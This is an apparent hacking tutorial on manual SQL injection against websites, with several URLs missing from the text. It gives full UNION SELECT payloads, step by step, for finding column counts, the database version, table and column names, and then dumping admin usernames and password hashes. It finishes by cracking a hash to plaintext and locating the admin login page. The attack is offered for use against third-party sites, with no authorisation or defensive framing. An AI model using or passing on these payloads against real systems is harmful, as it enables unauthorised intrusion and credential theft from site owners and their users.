SQL Injection (Manually)

A SQL injection is often used to attack the security of a website by inputting SQL statements in a web form to get a badly designed website to perform operations on the database (often to dump the database content to the attacker) other than the usual operations as intended by the designer.It is a code injection technique that exploits a security vulnerability in a website’s software.

SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Let’s Start:


Log on to

Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here” and open in new tab.

Step 1: Checking Sql Vulnerability.

First we have to check that website is vulnerable to sql attack or not.To Check SQL vulnerability  add ‘ sign after the URL′

Now it will return to some sql error like:

"You have an error in sql syntax.!$#^&((__+)()*&^%^in line 23"


Step2:Find number of columns.
Lets use "ORDER BY” clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10.”–” is used for making anything after it comment.

Now go to  site which is Vulnerable  to SQL. order by 10–
Actually we instructed it sort the result by 10th column. But it returned us with an error,this means number of columns are less then 10. Lets replace it with 9. order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we don’t get any error.
Finally we reach on ’6′ order by 6–
we didn’t get any error, this means there are 6 columns.

Step 3:Find vulnerable columns.
Now lets use "UNION ALL” and "SELECT” command. Remember to put dash (-) before 130. union select all 1,2,3,4,5,6–.
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.

Step 4: Find database version.

Replace the most vulnerable column with "@@version” or "verson()” (if first one doesn’t work). union select all 1,@@version,3,4,5,6–
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema” which stores information about tables/columns of other databases. in version less than 5.

Step 5: Finding table names.

Replace vulnerable column no. with "table_name”. union select all 1,table_name,3,4,5,6 from
information_schema.tables where table_schema=database()–

We got first table name on the screen.

To get all tables use group_concat union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()– 

Step 6:Finding column names.

Similar get all the columns by simply replacing ‘table’ with ‘column’ union select all 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()– 

There is a repeating element like in this case is ‘id’ .From it, we come to know which table number has which columns.

Step 7:Fetching data from columns.

We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a” is used simply to insert a colon in result  to separate it, it is hex of colon. union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin–.

So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say
"Sneds”. The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .

Lets logon to or and put the hashed(encrypted) password here.
And it would crack for us. We got ‘oorwullie’ in result ( password in clear text).

Note:Hashes are type of encryptions which are irreversible.  There are numberless online crackers  available. Keep trying. Sometimes very strong hashes can not be cracked. 
Login page of website:
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say The login page would be at , , etc.
Download this admin page finder from here and it would try all these default pages.
